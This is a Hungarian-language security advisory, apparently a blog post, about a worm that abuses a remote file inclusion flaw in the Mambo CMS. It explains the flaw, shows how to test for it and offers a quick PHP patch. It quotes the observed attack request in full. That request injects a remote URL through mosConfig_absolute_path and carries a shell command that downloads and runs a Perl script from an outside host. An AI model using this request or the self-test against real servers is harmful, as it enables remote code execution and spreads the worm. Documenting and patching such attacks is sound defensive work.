Az elmúlt napokban egy új szőnyegbombázó tűnt fel, ami ügyesen használja ki a Mambo egy biztonsági hibáját. A Mambot futtató szerverünk maga is könnyen áldozattá, mi több, szőnyegbombázóvá válhat.Január 13-án pénteken a késő esti órákban kezdődött a nemzetközi támadássorozat: a szerverünk 32 óra leforgása alatt 287 helyről kapott kifejezetten a Mambot támadó http-kérést. A kérés formája a következő:
http://támadott.gép/mambo_könyvtár/index.php?
_REQUEST[option]=com_content&_REQUEST[Itemid]=1&
GLOBALS=&mosConfig_absolute_path=
http://www.fullcrew.net/cmd/tool25.dat?&
cmd=cd%20/tmp/;lwp-download%20
http://shikoe.net/mambo2.txt;perl%20mambo2.txt;
rm%20-rf%20mambo2.txt*
(A backslash --- "vissza-per" --- karaktereket nem kell kiírni, csak az olvashatóságot növelik.)
A lényeg a mosConfig_absolute_path változó beállításánál van, ugyanis a Mambo nagyon sok fájlban használja a következő kódsort:
require_once($GLOBALS['mosConfig_absolute_path'] . TOVÁBBI_ELÉRÉSI_ÚT);
(A require_once helyett require, include, include_once is előfordul.)
A Mambo fejlesztői oldalán november 17-én már feltűnt egy kapcsolódó javítás, ami azonban ezt a támadást --- úgy tűnik --- nem védi ki. Egyelőre úgy tűnik, nincs hivatalos javítás a fejlesztői oldalon, viszont a trükköző Perl program rohamosan terjed.
A következő módon tesztelhetjük, hogy a Mambo szerverünk potenciális áldozat-e (a Perl script a Google-ról szedi a Mambot futtató áldozatai webcímét):
Készítsünk egy PHP scriptet x.php néven a webszerverünk fő webkönyvtárába ilyen tartalommal:
$f=fopen("/tmp/teszt.txt","w");
fwrite($f,"védtelen");
fclose($f)
?>
Ha ezután a következő webkérés létrehoz a szerver /tmp könyvtárában egy teszt.txt fájlt "védtelen" tartalommal, akkor a Mambo szerverünk valóban védtelen:
http://a.szerverünk.címe/mambo_könyvtár/index.php?
_REQUEST[option]=com_content&_REQUEST[Itemid]=1&
GLOBALS=&mosConfig_absolute_path=
http://a.szerverünk.címe/x.php?
(Ismét nem kell beírni a backslash-eket.)
Ha nincs szerencsénk, a fertőzött Mambo szervert futtató gépek valamelyike minket is megtalál, lefuttatja a http://shikoe.net/mambo1.txt vagy http://shikoe.net/mambo2.txt címen található Perl scriptet, ami "kotfare" néven kezdi folyamatosan felemészteni a szerverünk erőforrásait, folyamatosan keresve további áldozatok után. A szerverünk lelassul, a sávszélességünk bedugul, egy idő után pedig a webszerver processz is feladja, ha egyszerre túl sok Perl scriptet kell indítania. (Ennek a pontos forgatókönyvére még nem jöttem rá, de remélem, nem is lesz rá szükség.)
Az általam javasolt gyorsjavítás a következő:
A Mambo szerverünk index.php fájljába írjuk be a következőket (pl. a require_once( 'configuration.php' ); sor után):
$a=$GLOBALS[mosConfig_absolute_path];
$x=strpos($a,"http");
if (($x===0) || ($x>0)) die();
Egy másik lehetőség, hogy root-ként a /tmp könyvtárban létrehozzuk a mambo1.txt és mambo2.txt fájlokat, üres tartalommal, majd chmod 000 mambo[1-2].txt-vel megakadályozzuk, hogy a kérdéses Perl script a szerverünkre felíródjon. Persze, ez a megoldás nem annyira elegáns, és csak átmeneti jellegű.
Az elmúlt 60 órában további 400 támadást regisztráltunk, főként európai szerverekről, így Magyarországról is.